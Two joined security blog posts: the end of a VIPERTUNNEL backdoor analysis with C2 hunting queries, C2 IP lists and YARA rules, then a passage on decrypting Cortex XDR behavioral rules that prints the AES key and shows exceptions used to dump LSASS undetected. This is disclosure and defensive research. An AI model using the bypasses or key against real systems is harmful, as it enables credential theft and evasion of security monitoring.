Some errors are in unused variables, indicating limited review or fragmented development. Other parts use standard exception handling for debugging, with some blocks including unused exception variables. These oversights suggest the malware is in an early or less mature stage of development. Additionally, multiple variables are declared but never used. Examples include:

The code shows inconsistent exception handling, with custom exceptions inheriting directly from Python’s built-in Exception class.

In other sections, a debug log is generated whenever an exception occurs.

Samples within this group were solely observed without any form of obfuscation. Furthermore, it is presumed that the samples submitted to VirusTotal in 2025 also originated in 2023.

Adoption of public Tooling

The second cluster has a minified payload, removing whitespace and flattening multi-line logic into single lines. Identifiers are single-character, sometimes underscore-prefixed. Although dense, the lack of cryptographic obfuscation makes the logic easily recoverable, both manually and automatically.

Observed characteristics suggest this variant was for development or testing, indicated by verbose logging and an unused traceback import. Like the previous cluster, it lacks a hardcoded C2 address; the target IP is provided at runtime via argv. This minified form was observed only with the PyOBFUSCATE loader, distinguishing it from more mature, self-contained versions.

Refinement & Debugging

One-line expressions are expanded into multi-line blocks, with whitespace added for clarity. Obfuscation remnants, like underscore-prefixed, single-character variables (e.g., _X), remain.

This group appears to be a development or debugging build, evidenced by a debug flag set with argparse, multiple logging levels, print statements, and an imported but unused traceback module. This cluster sits between heavily minified variants and refined production builds: it lacks advanced obfuscation but avoids the aggressive variable randomness seen in previous versions. Samples in this group were obfuscated using PyOBFUSCATE and the version described by eSentire, which represents an earlier version of the obfuscation described in this blog. Finally, this cluster introduced the usage of hardcoded C2 addresses.

Modern Production Variant

The fourth group is distinguished by a notable architectural shift, with the codebase refactored into more clearly named classes: Wire, Relay, and Commander. This iteration exhibits the highest code quality among the observed samples, featuring a streamlined and professional implementation.

This cluster removes previous logging and argparse. Unlike earlier versions that supported configurable ports via the command line, the port is now hardcoded. Exception handling is consolidated: custom exceptions like ConnectionClosedError and ExitException are caught in simplified blocks with break or pass for quiet thread termination. These changes mark a shift from testing to a stealth-focused production payload. Samples in this group were observed using the obfuscation described in this blog and its previous version.

Hunting infrastructure

With the method established, we extend the investigation to adversary infrastructure, uncovering relationships and insights. We pivot from a known C2 address to identify related infrastructure and data points.

The view shows open ports on a recent C2 server. Port 443, used for VIPERTUNNEL to C2, is known. Probing it returns only the static response 00 00.

High-numbered (five-digit) ports are probably relay ports. After connecting, the C2 directs VIPERTUNNEL to relay traffic to a secondary high port.

Port 22 is running SSH. There is little of interest here, as host keys vary by system. While the OpenSSH version is largely consistent across servers, it is not identical in all cases and therefore is not a reliable indicator.

This leaves port 8000, which returns an HTTP 401 response in Shodan.

This HTTP response is part of the Pyramid framework, a "C2" tool that evades EDR detection by using the LOLBin python.exe to run Python code in memory.

The framework delivers encrypted code using ChaCha20 or XOR and includes modules such as secretsdump.py and LaZagne.py for post-exploitation. Pyramid is likely used for post-exploitation after gaining access via VIPERTUNNEL and conducting reconnaissance. This linkage between VIPERTUNNEL and Pyramid has been previously documented by other researchers, including Intrinsec and hunt.io.

Confirming Pyramid’s presence in our incident was difficult due to its age, as it leaves minimal artifacts, mainly in memory and dropping few files. Yet for hunting, Pyramid source code shows a unique data pattern with HTTP 401 responses, aiding fingerprinting in investigations. Hunting only for Pyramid activity might reveal unrelated systems to VIPERTUNNEL, but a distinct identifier exists. Public source code shows default WWW-Authenticate as Basic realm="Demo Realm"; in our case, it’s set to Proxy. Below is the function responsible for the 401 Response in the Pyramid source code.

This deviation makes the deployment uniquely identifiable among other Pyramid installations, as these headers are returned with an HTTP 401 (Unauthorized) response.

Interestingly, the response has two Python Server headers based on BaseHTTP, but with different versions and runtimes. The cause is unclear, but it offers a pivot point. These traits help craft queries to find more C2 infrastructure.

Using this knowledge, we can craft preliminary Censys hunts to identify further C2’s such as

host.services.endpoints: (http.status_code: 401 and http.headers: (key: "Server" and value: "BaseHTTP") and http.headers: (key: "WWW-Authenticate" and value: "Basic realm=\"Proxy\""))

The hunts reveal that some systems do not use port 8000 for Pyramid. This is crucial because Pyramid hunts can't rely solely on port 8000 to identify them.

In some matches, only ports 22 and 443 are open, according to historical data. Our attribution to VIPERTUNNEL relies on a modified HTTP 401 response, specifically, a Basic realm="Proxy" header, within Pyramid. This raises the question: how do we identify C2 servers not using Pyramid? One option is to use Censys to identify systems that return identical responses on port 443.

These results exceed those of previous hunts, with some new geolocations. Manual checks suggest some may be false positives.

Restricting results to SSH service, some matches remain low-confidence matches due to limited data. However, this approach also reveals previously missed systems, highlighting the need for multiple indicators and cross-methods analysis.

Refining this approach, we achieved the most robust results with the following Censys query. While some false positives remain, most matches are true-positives.

host.services.banner_hex = "0000" AND host.services.protocol: "SSH" AND "python" AND "basehttp"

Lastly, another method we can employ is using the HTTP Response Body as an indicator. The 401 HTTP Response also contains the body {"success": false, "error": "Auth required"} with the Body Hash 537a7628eb1b2fe117c9081e65579397a4d9b63f227802cac4028f4c34e2b337. Using this hash, we can also utilise other services, such as VirusTotal, to identify all systems returning this body hash. This approach can produce false positives, as other frameworks might use the same HTTP Response.

All found IOCs can be found in the appendix.

Analysing the Infrastructure

To understand the infrastructure, we aggregated all publicly available network IOCs from the references and correlated them with prior hunting results. The dataset was enriched with metadata, including activity periods, ASN/ISP information, exposed ports, and HTTP response characteristics. Each IOC was reanalysed with a confidence score; conflicting entries were excluded from the final analysis. The adversary’s infrastructure shows a consistent technical stack. A key signature is open ports 22 (SSH) and 443 (HTTPS) across all nodes. Pyramid C2 particularly favours port 8000. There is a minor deviation in SSH configurations across hosting providers. On BlueVPS OU and HZ Hosting Ltd, the SSH service was moved to port 56777, likely reflecting their default settings rather than a tactical change. Fingerprinting the SSH service showed high homogeneity, with nearly 75% of C2 nodes returning a consistent banner: SSH-2.0-OpenSSH_8.9p1 Ubuntu-3ubuntu0.13. This identifies the OS as Ubuntu 22.04 LTS. While the campaign uses various ASNs and providers—showing no clear ISP trend—the geolocation is uniform: 100% of IPs are in the United States. Despite the campaign's age, the infrastructure remains resilient. Most high-confidence C2s are still active, though few nodes are offline. Three servers stopped running the Pyramid listener, indicating decommissioning or tactic shifts. An ongoing mystery is Pyramid’s 401 responses, which often return double-headers, a behaviour under investigation for potential attribution. SSH host keys differ across systems, indicating the infrastructure isn't based on shared VM templates. Recent C2 infrastructure from September to November 2025 shows only one Pyramid instance on port 1976 in the current Censys dataset. The reported Python and BaseHTTP versions appear inconsistent and likely randomized, as repeated curl requests from multiple IP addresses returned different headers, suggesting header spoofing to evade detection.

Most indicators were first observed or reported in January 2025, likely active earlier. A second wave of C2 infrastructure appeared around Q3 2025, showing expansion or refresh.

Conclusion

Our analysis shows VIPERTUNNEL is transitioning. Low detection rates in recent samples indicate that it remains difficult to detect, suggesting effective obfuscation and code refinement.

The technical difference in obfuscation styles between ShadowCoil and ViperTunnel indicates separate authors or teams. The recent Linux debugger checks in ShadowCoil suggest a shift toward cross-platform capabilities. The infrastructure is maturing toward stealth by abandoning fixed ports like 8000 and using spoofed headers to hinder protocol detection. Transitioning to a custom 401 Response may evade generic scanners but offers a unique fingerprint for targeted hunting. Ultimately, the campaign's status remains unclear. The credentials in the binaries appear to be placeholders, and the absence of new samples in 2026 suggests a lull or a shift in security posture. While these tools were deployed before the DragonForce ransomware incident, the connection remains under investigation and has not been confirmed.

Further References

https://www.esentire.com/blog/socket-puppet-how-ransomhub-affiliates-pull-the-strings
https://www.guidepointsecurity.com/blog/ransomhub-affiliate-leverage-python-based-backdoor/
https://hunt.io/blog/tracking-pyramid-c2-identifying-post-exploitation-servers
https://github.com/naksyn/Pyramid
https://www.esentire.com/blog/unpacking-shadowcoils-ransomhub-ex-affiliate-credential-harvesting-tool
https://www.intrinsec.com/ip-cluster-linking-ransomware-activity-and-eye-pyramid-c2/
https://malpedia.caad.fkie.fraunhofer.de/details/py.pyramid
https://blog.bushidotoken.net/2025/04/tracking-adversaries-evilcorp-ransomhub.html
https://services.google.com/fh/files/misc/threat_horizons_report_h1_2025.pdf
https://www.guidepointsecurity.com/blog/ransomhub-affiliate-leverage-python-based-backdoor/

Indicators of Compromise

Below are the references for the indicators in this article.

Command & Controller Servers

Below is a list of all identified C2 Servers. This list only includes high-confidence systems and may therefore not be complete. The dates for “First seen” are based on various sources and should be regarded as estimates.

C2	ASN	ISP	First Seen	Last Seen	Source of "First Seen" Timestamp
38.146.28.93	AS174	Cogent Communications	January 2025	Still Active	threatfox
38.135.54.24	AS26383	Baxet Group Inc.	21.09.2025	Still Active	whois
162.248.225.165	AS14576	Hosting Solution Ltd.	November 2025	Still Active	VirusTotal
CarryingItAll.com (193.5.65.151)	AS395839	HOSTKEY	22.09.2025	11.12.2025	VirusTotal
CarryingItAll.com (108.181.115.254)	AS40676	Psychz Networks	11.12.2025	Still Active	VirusTotal
rentiantech.com (45.56.162.61)	AS199959	GWY IT PTY LTD	10.07.2025	Still Active	whois
185.174.101.69	AS36352	HostPapa	January 2025	Still Active	guidepointsecurity / VirusTotal
104.238.61.144	AS199959	GWY IT PTY LTD	January 2025	Still Active	guidepointsecurity
88.119.175.65	AS61272	Informacines sistemos ir technologijos, UAB	January 2025	Still Active	guidepointsecurity
92.118.112.208	AS215540	GLOBAL CONNECTIVITY SOLUTIONS LLP	January 2024	Still Active	reliaquest
173.44.141.226	AS62904	Eonix Corporation	January 2025	Still Active	guidepointsecurity
185.174.101.240	AS36352	HostPapa	January 2025	Still Active	guidepointsecurity
108.181.115.171	AS40676	Psychz Networks	January 2025	Still Active	guidepointsecurity
162.252.173.12	AS9009	M247 Europe SRL	January 2025	Still Active	threatfox
108.181.182.143	AS40676	Psychz Networks	January 2025	Still Active	guidepointsecurity
23.227.193.172	AS29802	HIVELOCITY, Inc.	January 2025	December 2025	guidepointsecurity
88.119.175.70	AS61272	Informacines sistemos ir technologijos, UAB	January 2025	Still Active	guidepointsecurity
193.203.49.90	AS204957	GREEN FLOID LLC	January 2025	Still Active	threatfox
185.33.86.15	AS202015	HZ Hosting Ltd	January 2025	Still Active	threatfox
37.1.212.18	AS29802	HIVELOCITY, Inc.	January 2025	March 2026	guidepointsecurity
38.180.81.153	AS29802	HIVELOCITY, Inc.	January 2025	Still Active	guidepointsecurity
45.66.248.150	AS62005	BlueVPS OU	January 2025	February 2026	guidepointsecurity
158.255.213.22	AS9009	M247 Europe SRL	January 2025	Still Active	threatfox
162.248.224.223 (chateaugalicia.com)	AS14576	Hosting Solution Ltd.	August 2025	Still Active	threatfox
104.238.60.108	AS199959	GWY IT PTY LTD	January 2026	Still Active	threatfox
185.233.166.124	AS398256	AS-ULTRAHOST	August 2025	Still Active	threatfox
185.72.8.65	AS26383	Baxet Group Inc.	July 2025	Still Active	threatfox
92.118.112.143	AS215540	GLOBAL CONNECTIVITY SOLUTIONS LLP	January 2025	29.06.2025	threatfox
45.82.85.50	AS36352	HostPapa	January 2025	Still Active	threatfox
185.72.8.121	AS26383	Baxet Group Inc.	February 2026	Still Active	threatfox
joealdana.com (185.180.198.3)	AS14576	Hosting Solution Ltd.	19.09.2025	Still Active	whois
185.72.8.137	AS26383	Baxet Group Inc.	October 2025	Still Active	threatfox

Yara Rules

The following Yara Rules have been used for hunting on VirusTotal; therefore, some depend on VirusTotal's exclusive modules.

rule AV_match_shcoil {
    meta:
        author = "Evgen Blohm @ InfoGuard AG"
        description = "Hunt for samples that have ShadowCoil related AV matches that often also used for VIPERTUNNEL samples"
        date = "2025-02-09"
    condition:
        for any engine, signature in vt.metadata.signatures : (
            signature contains "ShCoil" or signature contains "ShadowCoil"
        )
}

rule ShadowCoil_Packed_Python
{
    meta:
        author = "YungBinary"
        description = "Modified the original rule "
        target_entity = "file"
        source = "https://www.esentire.com/blog/unpacking-shadowcoils-ransomhub-ex-affiliate-credential-harvesting-tool"
    strings:
        $a = "exec(pc_start(" ascii
        $b = "get_hw_key():" ascii
        $c = "'vm', 'virtual'" ascii
        $d = "TracerPid:" ascii
    condition:
        vt.metadata.file_type == vt.FileType.PYTHON and filesize < 60KB and all of them
}

rule MALWARE_vipertunnel {
    meta:
        author = "Evgen Blohm"
        description = "hunting rule for socks5 backdoor aka VIPERTUNNEL"
    
    strings:
        // Unique Class Names and Functions
        $class1 = "class Wire(" ascii wide
        $class2 = "class Relay(" ascii wide
        $class3 = "class Commander(" ascii wide
        $class4 = "class ControllerCommandConnection" ascii wide
        $class5 = "class MySocket" ascii wide
        $class6 = "class MyServiceSocket" ascii wide
        $class7 = "class Handler" ascii wide
        
        // Custom Exception Names
        $exc1 = "ConnectionTimeoutOccuredError" ascii wide
        $exc2 = "BadLengthData" ascii wide
        $exc3 = "CloseException" ascii wide
        $exc4 = "ExitException" ascii wide
        $exc5 = "ConnectionClosedError" ascii wide
        $exc6 = "ConnectionResetError" ascii wide
        $exc7 = "ConnectionAbortedError" ascii wide
        $exc8 = "ConnectionRefusedError" ascii wide

        // Logic-specific strings
        $logic1 = "self.must_equal = " ascii wide
        $logic2 = "struct.unpack('BBB', self." ascii wide
        $logic3 = "def _bridge(self):" ascii wide
        $logic4 = "socket.socket = Wire" ascii wide

        // unique variables
        $var1 = "main_flag_to_close" ascii wide
        $var2 = "TIMEOUT_FOR_SOCKET_OPERATION" ascii wide

        // Unique Identifiers
        $user = "AnyLogin" ascii wide
        $secret = "AnyPassword" ascii wide

    condition:
        filesize < 60KB and vt.metadata.file_type == vt.FileType.PYTHON and (
            (3 of ($class*) and 3 of ($exc*)) or
            (2 of ($class*) and 2 of ($exc*) and 1 of ($logic*) and 1 of ($var*)) or 
            ($user and $secret)
        )
}

rule MALWARE_vipertunnel_typos{
    meta:
        description = "Hunting for ViperTunnel Python Proxies using some left over typos"
    strings:
        $typo1 = "__setatrr__" ascii wide // __setattr__
        $typo2 = "deamon" ascii wide // daemon
        $typo3 = "allow_no_verifing" ascii wide // allow_no_verifying
        $typo4 = "ConnectionTimeoutOccuredError" ascii wide // ConnectionTimeoutOccurredError
        $typo5 = "% ((target" ascii wide // logged as tuple

    condition:
        filesize < 60KB and vt.metadata.file_type == vt.FileType.PYTHON and (
            (3 of ($typo*))
        )
}

rule MALWARE_vipertunnel_obfuscation {
    meta:
        author = "Evgen Blohm"
        description = "Finding files using the same obfuscation as in IR1361"

    strings:
        // decoding/decryption related keywords
        $crypto1 = "b85decode" ascii wide
        $crypto2 = "PBKDF2" ascii wide
        $crypto3 = "HKDF" ascii wide
        $crypto4 = "MODE_GCM" ascii wide
        $crypto5 = "MODE_CTR" ascii wide
        $crypto6 = "ChaCha20" ascii wide
        $crypto7 = "blake3" ascii wide

        // dynamically imported functions
        $imp1 = "join" ascii wide
        $imp2 = "chr" ascii wide
        $imp3 = "map" ascii wide
        $imp4 = "map" ascii wide
        $imp5 = "zip" ascii wide
        $imp6 = "bytes" ascii wide
        $imp7 = "getattr" ascii wide
        $imp8 = "builtins" ascii wide

        // static imports
        $s_imp1 = "import zlib" ascii wide
        $s_imp2 = "import sys" ascii wide
        $s_imp3 = "import base64" ascii wide
        $s_imp4 = "import AES" ascii wide
        $s_imp5 = "import SHA256" ascii wide
        $s_imp6 = "import os" ascii wide
        $s_imp7 = "import blake3" ascii wide
        $s_imp8 = "import hashlib" ascii wide

        // base85 encoded chars/strings
        $enc4 = "WNBw*b94" ascii wide // digest
        $enc5 = "WMyM=d2n<" ascii wide // decrypt
        $enc6 = "V{dhCbN" ascii wide // count
        $enc7 = "Zf|a5Wd" ascii wide // nonce
        $enc8 = "WMyM=d2n=JVQyq!c4cyDW_b" ascii wide // decrypt_and_verify
        $enc9 = "Wq4&{" ascii wide // exec

    condition:
        vt.metadata.file_type == vt.FileType.PYTHON and filesize < 40KB and (
            (3 of ($crypto*) and 3 of ($imp*) and 2 of ($s_imp*) and 2 of ($enc*))
        )
}

rule MALWARE_vipertunnel_obfuscation_old {
    meta:
        author = "Evgen Blohm"
        description = ""
    strings:
        $func1 = "decode('utf-8')" ascii wide
        $func2 = "int.from_bytes" ascii wide
        $func3 = "while True:" ascii wide
        $func4 = "sys.exit(0)" ascii wide

        $imp1 = "import blake3" ascii wide
        $imp2 = "import base64" ascii wide
        $imp3 = "import hashlib" ascii wide

    condition:
        filesize > 10KB and filesize < 80KB and vt.metadata.file_type == vt.FileType.PYTHON and (
            (3 of ($func*) and 3 of ($imp*))
        )
}

Hashes

All Files were uploaded to VirusTotal and saved in a Collection

Decrypting and Abusing Predefined BIOCs in Palo Alto Cortex XDR

Manuel Feifel — Fri, 13 Mar 2026 00:00:00 GMT

Summary

The Windows Cortex XDR agent uses CLIPS rules for behavioral detections. These rules are shipped encrypted in content updates. We decrypted these rules and discovered numerous hardcoded exceptions including global whitelists that can be abused to bypass those rules. For example, if a process's command-line arguments contain :\Windows\ccmcache, it is excluded from about half of all behavioral detections. This allows an attacker, for example, to dump LSASS using simple, well-known techniques without detection.

We initially looked at the Cortex Windows agent versions 8.7 and 8.8 with content version 1790-16658. Palo Alto removed the global whitelists in Agent Version 9.1 with content version 2160 at the end of February 2026.

Introduction

EDR/XDR agents such as Palo Alto Cortex XDR use different methods for detection, such as static signature-based detections, local file analysis, or machine-learning-based detections. Among the most important of these are the Behavioral Indicators of Compromise (BIOCs) rules. During a recent red team engagement, we noticed that Cortex XDR agent 8.8 detected several techniques in our payload that were previously undetected. The Cortex portal provides limited details on what exactly triggered the alert. With some exceptions, such as Elastic or HarfangLab, most vendors maintain a closed detection rule set. Therefore, we tried to access the actual predefined rules, which are regularly updated through content updates.

Finding and Decrypting the Rules

The content updates include numerous files:

ls content-1790-16658
ace-sandbox-plugin-dev-win-x86_64.zip          network_inspect_policies_encrypted-64.zip
ace-sandbox-plugin-no-ocr-prod-win-x86_64.zip  network_inspect_policies_encrypted_7_5-64.zip
ace-sandbox-plugin-prod-win-x86_64.zip         network_inspect_policies_encrypted_pre_2025_ev-64.zip
agent_scripts_win_arm64.zip                    network_inspect_policies_slowroll-64.zip
agent_scripts_win_x64.zip                      network_inspect_policies_threat_hunting.zip
agent_scripts_win_x86.zip                      network_inspect_pre_2025_ev-64.zip
cert.zip                                       network_inspect_slowroll-64.zip
collector-64-legacy.zip                        nmap-win32.zip
collector-64.zip                               payload-32-one-dir-openssl3.zip
content_processed.zip                          payload-32-one-dir.zip
content_raw.zip                                payload-32.zip
cwp-compliance.zip                             payload-64-one-dir.zip
cyber.zip                                      payload-64.zip
dse_config.zip                                 payload-win-arm64-one-dir.zip
dse_ng.zip                                     payload-win-x86_64-one-dir-openssl3.zip
dse.zip                                        payload-win-x86_64-one-dir.zip
edrdotnet_slowroll.zip                         periodic_scripts.zip
edrdotnet.zip                                  pki-fedramp.zip
env.zip                                        pki-gov-fedramp.zip
infra.zip                                      pki.zip
ivanti-content-win.zip                         recognizer_plugin_32.zip
ivanti-deltas-win.zip                          recognizer_plugin_64.zip
local_analysis_plugin_32.zip                   recognizer_plugin_arm64.zip
local_analysis_plugin_64.zip                   threat_hunting_ng.zip
local_analysis_plugin_arm64.zip                threat_hunting.zip
manifest.json                                  tsf_collector.zip
ml_plugin_32.zip                               va-scanner-winx64.zip
ml_plugin_64.zip                               va-scanner-winx86.zip
ml_plugin_8_4_32.zip                           winpmem-32.zip
ml_plugin_8_4_64.zip                           winpmem-64.zip
ml_plugin_arm64.zip                            xdrhealth-32.zip
model_doc_ole_7_2.zip                          xdrhealth-64.zip
model_doc_openXml_7_2.zip                      xdrhealth-ARM64.zip
model_js_8_8.zip                               yara_plugin_32.zip
model_macro_7_1.zip                            yara_plugin_64.zip
model_pe_7_1.zip                               yara_plugin_8_4_32.zip
model_powershell_7_3.zip                       yara_plugin_8_4_64.zip
model_powershell_8_4.zip                       yara_plugin_arm64.zip
model_vbs_8_6.zip                              yara_signature_rules_encrypted_mitre.zip
network_inspect-64.zip                         yara_signature_rules_encrypted.zip
network_inspect_7_5-64.zip

These files are unzipped into C:\ProgramData\Cyvera\LocalSystem\Download\content\. As already pointed out by this blog post from SafeBreach, the metadata of behavioral rules is stored in the file dse_rules_config.lua. The content of this file could already be used to avoid Mimikatz detections by abusing whitelists, as described in the referenced blog post. However, the actual detection logic and other exclusions are not included in this file.

The content looks like this:

["bioc.ntsystemdebugcontrol_get_eprocess"] = {
    versions = {"8_8_0","8_8_0_999"},
    signatureConfiguration =     {
        default =         {
            settings =             {
                action = "silent",
                friendlyName = "ntsystemdebugcontrol_get_eprocess",
                technique_id = {"T1055"},
                tactic_id = {"TA0004","TA0005"},
                mth_action = "report",
                mth_severity = 1,
                severity = 4,
                external_description = "Lsass Dump Attempt",
                module = 2
            }
        }
    }
},

It's not hard to guess where the rules are stored, however, they are encrypted:

PS C:\ProgramData\Cyvera\LocalSystem\Download\content> ls dse*


Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
-a----         6/18/2025  12:16 AM         195276 dse.lua
-a----         6/18/2025  12:16 AM          23703 dse_common.lua
-a----         6/18/2025  12:16 AM           3228 dse_config_schema.json
-a----         6/18/2025  12:16 AM         133964 dse_internals.json
-a----         6/18/2025  12:16 AM           2998 dse_modules.json
-a----         6/18/2025  12:16 AM        1308480 dse_rules_8_4_0_windows_encrypt.clp
-a----         6/18/2025  12:16 AM        1308752 dse_rules_8_5_0_windows_encrypt.clp
-a----         6/18/2025  12:16 AM        1311456 dse_rules_8_6_0_windows_encrypt.clp
-a----         6/18/2025  12:16 AM        1313808 dse_rules_8_7_0_windows_encrypt.clp
-a----         6/18/2025  12:16 AM        1319536 dse_rules_8_8_0_windows_encrypt.clp
-a----         6/18/2025  12:16 AM        1319920 dse_rules_8_9_0_windows_encrypt.clp
-a----         6/18/2025  12:16 AM       15273694 dse_rules_config.lua

Getting Plaintext Rules

To identify where and how these files are decrypted, I used ProcMon to get the stack trace for the read operation on the dse_rules_8_7_0_windows_encrypt.clp file:

Fortunately, cysvc.dll includes debug strings, which were used to rename functions in IDA Pro with a small script.

There is a function called dse::ClipsEngineFilter::DecryptClpData() that sounded promising. Using WinDBG as a Kernel-Debugger to avoid EDR's self-protection mechanisms, I set a breakpoint at this function. I then analyzed the decompiled code to infer the purpose of the function's four input parameters. We found that LLMs are quite effective at helping to interpret decompiled code and suggest the purpose of the parameters.

As shown in the following, the first parameter is the encrypted content:

kd> dps rcx L1
000001ff`12ff4f80  000001ff`27c90020
kd> db 000001ff`27c90020
000001ff`27c90020  6f c4 62 6e dd 4e d9 99-16 32 5a e2 0a e4 b5 07  o.bn.N...2Z.....
000001ff`27c90030  cf 78 be c5 ec 7d 8f c6-29 5a f4 69 a9 fc 79 cb  .x...}..)Z.i..y.
000001ff`27c90040  29 42 7c 9d d4 93 09 ff-d3 00 90 e5 f1 7d f7 ba  )B|..........}..
000001ff`27c90050  b1 e7 07 f4 a8 2d c5 00-62 95 f5 cc 0e ff 48 5e  .....-..b.....H^
000001ff`27c90060  bd d3 e4 73 65 12 96 31-aa 0c 27 d0 70 8b b6 84  ...se..1..'.p...
000001ff`27c90070  7c bf e2 3e 80 7d d8 2a-a0 c3 29 5e c4 3e b8 d8  |..>.}.*..)^.>..
000001ff`27c90080  9f 62 01 58 a0 3f 26 38-97 b1 f8 e2 15 c2 7f d2  .b.X.?&8........

$ hexdump -C dse_rules_8_7_0_windows_encrypt.clp                                                                           
00000000  6f c4 62 6e dd 4e d9 99  16 32 5a e2 0a e4 b5 07  |o.bn.N...2Z.....|
00000010  cf 78 be c5 ec 7d 8f c6  29 5a f4 69 a9 fc 79 cb  |.x...}..)Z.i..y.|
00000020  29 42 7c 9d d4 93 09 ff  d3 00 90 e5 f1 7d f7 ba  |)B|..........}..|
00000030  b1 e7 07 f4 a8 2d c5 00  62 95 f5 cc 0e ff 48 5e  |.....-..b.....H^|
00000040  bd d3 e4 73 65 12 96 31  aa 0c 27 d0 70 8b b6 84  |...se..1..'.p...|
00000050  7c bf e2 3e 80 7d d8 2a  a0 c3 29 5e c4 3e b8 d8  ||..>.}.*..)^.>..|
00000060  9f 62 01 58 a0 3f 26 38  97 b1 f8 e2 15 c2 7f d2  |.b.X.?&8........|

The second parameter includes a JSON document with part of the decryption key while the third parameter is not related to the encryption.

The fourth parameter contains the decrypted content upon the function's completion:

kd> dps r9 L1
00000080`a47fd880  00000000`00000000
kd> pt
cysvc!CySvcServiceHandler+0x89a724:
0033:00007ffc`4f50e3b4 c3              ret
kd> dps 00000080`a47fd880
00000080`a47fd880  000001ff`18800020
kd> db 000001ff`18800020
000001ff`18800020  28 64 65 66 74 65 6d 70-6c 61 74 65 20 69 6e 74  (deftemplate int
000001ff`18800030  65 72 6e 61 6c 2e 64 65-62 75 67 5f 62 75 69 6c  ernal.debug_buil
000001ff`18800040  64 5f 74 69 6d 65 73 74-61 6d 70 20 28 73 6c 6f  d_timestamp (slo
000001ff`18800050  74 20 63 69 64 29 20 28-73 6c 6f 74 20 70 72 69  t cid) (slot pri
000001ff`18800060  6f 29 20 28 73 6c 6f 74-20 74 69 6d 65 73 74 61  o) (slot timesta
000001ff`18800070  6d 70 29 20 28 73 6c 6f-74 20 62 75 69 6c 64 5f  mp) (slot build_
000001ff`18800080  74 69 6d 65 73 74 61 6d-70 29 29 0a 28 64 65 66  timestamp)).(def
000001ff`18800090  74 65 6d 70 6c 61 74 65-20 64 69 72 65 63 74 6f  template directo
kd> .writemem C:\tmp\dse_decrypt_dump.txt 000001ff18800020 000001ff18800020+00852647

The plaintext CLIPS rules were then dumped to a file using .writemem.

Getting Decryption Keys

Identifying the algorithm, key, and IV was relatively straightforward with assistance from an LLM.

A hardcoded string is present in the binary, but only a portion of it is used as the key (maybe this is supposed to be a obfuscation technique):

Another part is in a lua file which is stored on disk in plaintext:

These two strings are combined to the following key material:

Algorithm: aes-256-cbc
Key: gstHaxzjfuS1u=EsVU#QbD#d@MPhj!58
IV:  HXZnRN5f*Gg$akQD

Using CyberChef, it can be confirmed, that the key material is correct:

The keys seem to be the same across tenants and versions.

Abusing Exceptions and Whitelists

Many of the rules have simple exceptions that can be abused to bypass them. The following is an example of how to use a well-known method to dump LSASS using ProcDump from SysInternals.

Usually, this activity is detected and prevented:

Now we can check the rule which was triggered:

(defrule bioc.sync.procdump.1
  (read_virtual_memory
    (cid ?cid)
    (instance_id ?instance_id)
    (user_generic_value1 ?user_generic_value1_4
      &: (and
            (integerp ?user_generic_value1_4)
            (eq (bit_and ?user_generic_value1_4 ?*Is_lsass_process*) ?*Is_lsass_process*)
            (eq (bit_and ?user_generic_value1_4 ?*is_werfault_process*) 0)))
    (bytes_copied 4)
    (base_address ?base_address_4)
    (buffer "40000000")
    (timestamp ?timestamp_4))
  (read_virtual_memory
    (cid ?cid)
    (instance_id ?instance_id)
    (user_generic_value1 ?user_generic_value1_3
      &: (and
            (integerp ?user_generic_value1_3)
            (eq (bit_and ?user_generic_value1_3 ?*Is_lsass_process*) ?*Is_lsass_process*)
            (eq (bit_and ?user_generic_value1_3 ?*is_werfault_process*) 0)))
    (bytes_copied 4)
    (base_address ?base_address_3
      &: (eq (bit_and ?base_address_4 -4294967296) (bit_and ?base_address_3 -4294967296)))
    (buffer "68000000")
    (timestamp ?timestamp_3
      &: (and
            (>= ?timestamp_4 ?timestamp_3)
            (is_in_time_frame 20000000 ?timestamp_4 ?timestamp_3))))
  (read_virtual_memory
    (cid ?cid)
    (instance_id ?instance_id)
    (user_generic_value1 ?user_generic_value1_2
      &: (and
            (integerp ?user_generic_value1_2)
            (eq (bit_and ?user_generic_value1_2 ?*Is_lsass_process*) ?*Is_lsass_process*)
            (eq (bit_and ?user_generic_value1_2 ?*is_werfault_process*) 0)))
    (bytes_copied 8)
    (base_address ?base_address_2
      &: (eq (bit_and ?base_address_3 -4294967296) (bit_and ?base_address_2 -4294967296)))
    (buffer ?buffer_2
      &: (eq ?base_address_2 (parse_hex (hex_reverse_byte_order ?buffer_2))))
    (timestamp ?timestamp_2
      &: (and
            (>= ?timestamp_3 ?timestamp_2)
            (is_in_time_frame 20000000 ?timestamp_3 ?timestamp_2))))
  (read_virtual_memory
    (cid ?cid)
    (instance_id ?instance_id)
    (user_generic_value1 ?user_generic_value1_1
      &: (and
            (integerp ?user_generic_value1_1)
            (eq (bit_and ?user_generic_value1_1 ?*Is_lsass_process*) ?*Is_lsass_process*)
            (eq (bit_and ?user_generic_value1_1 ?*is_werfault_process*) 0)))
    (bytes_copied 8)
    (base_address ?base_address_1
      &: (eq (bit_and ?base_address_2 -4294967296) (bit_and ?base_address_1 -4294967296)))
    (timestamp ?timestamp_1
      &: (and
            (>= ?timestamp_2 ?timestamp_1)
            (is_in_time_frame 20000000 ?timestamp_2 ?timestamp_1))))
  (or
    (process_start
      (cid ?cid)
      (instance_id ?instance_id)
      (file_info_description ?file_info_description)
      (command_line ?command_line)
      (file_info_original_name ?file_info_original_name)
      (process_image_path ?process_image_path
        &: (and
              (not
                (or
                  (and
                    (contains_one_of ?process_image_path "windows\\system32" "windows\\syswow64")
                    (starts_with (file_name ?process_image_path) "werfault"))
                  (contains_one_of (lowcase ?file_info_description) "windows problem reporting" "windows fault reporting")))
              (not
                (and
                  (or
                    (eq ?file_info_original_name "rdrleakdiag.exe")
                    (eq (file_name ?process_image_path) "rdrleakdiag.exe"))
                  (not
                    (contains_one_of ?command_line "-fullmemdmp" "/fullmemdmp" "-memdmp" "/memdmp")))))))
    (not (process_start (cid ?cid) (instance_id ?instance_id))))
  (not (bioc.sync.procdump.1 (cid ?cid) (instance_id ?instance_id)))
  (internal.debug_build_timestamp)
  (not (internal.global_whitelist (cid ?cid)))
  =>
  (assert (bioc.sync.procdump.1 (cid ?cid) (instance_id ?instance_id))))

There are several exceptions for werfault such as:

(contains_one_of (lowcase ?file_info_description) "windows problem reporting" "windows fault reporting")))

After adding this file info description to procdump64.exe (renamed to test.exe), this rule no longer triggers:

However, another rule was triggered because several rules exist to prevent dumping LSASS. But the rule above contains another interesting exception that allows us to reach the goal faster than bypassing several rules individually:

(not (internal.global_whitelist (cid ?cid)))

The global_whitelist is defined as:

(defrule internal.global_whitelist
